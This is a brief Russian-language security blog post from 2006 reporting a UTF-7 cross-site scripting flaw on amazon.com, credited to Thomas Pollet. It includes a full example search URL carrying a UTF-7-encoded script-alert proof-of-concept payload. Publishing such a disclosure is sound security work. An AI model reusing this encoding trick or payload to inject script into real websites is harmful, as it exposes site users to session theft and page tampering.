XSS на amazon.com

5 августа, 2006

Security

В коллекцию - UTF-7 XSS на amazon.com

Reported by Thomas Pollet
Example:

www.amazon.com/gp/search/ref=nb_ss_gw/103-6064682-6991861?ie=UTF-8&url=search-alias%3Daps&field-keywords=%2BADw-SCRIPT%2BAD4-alert%28%27XSS%27%29%3B%2BADw-%2FSCRIPT%2BAD4-&Go.x=11&Go.y=10

Ваша приватность умирает красиво, но мы можем спасти её.

Присоединяйтесь к нам!

Валерий Марчук

Блог посвящен безопасности и жизни секлаба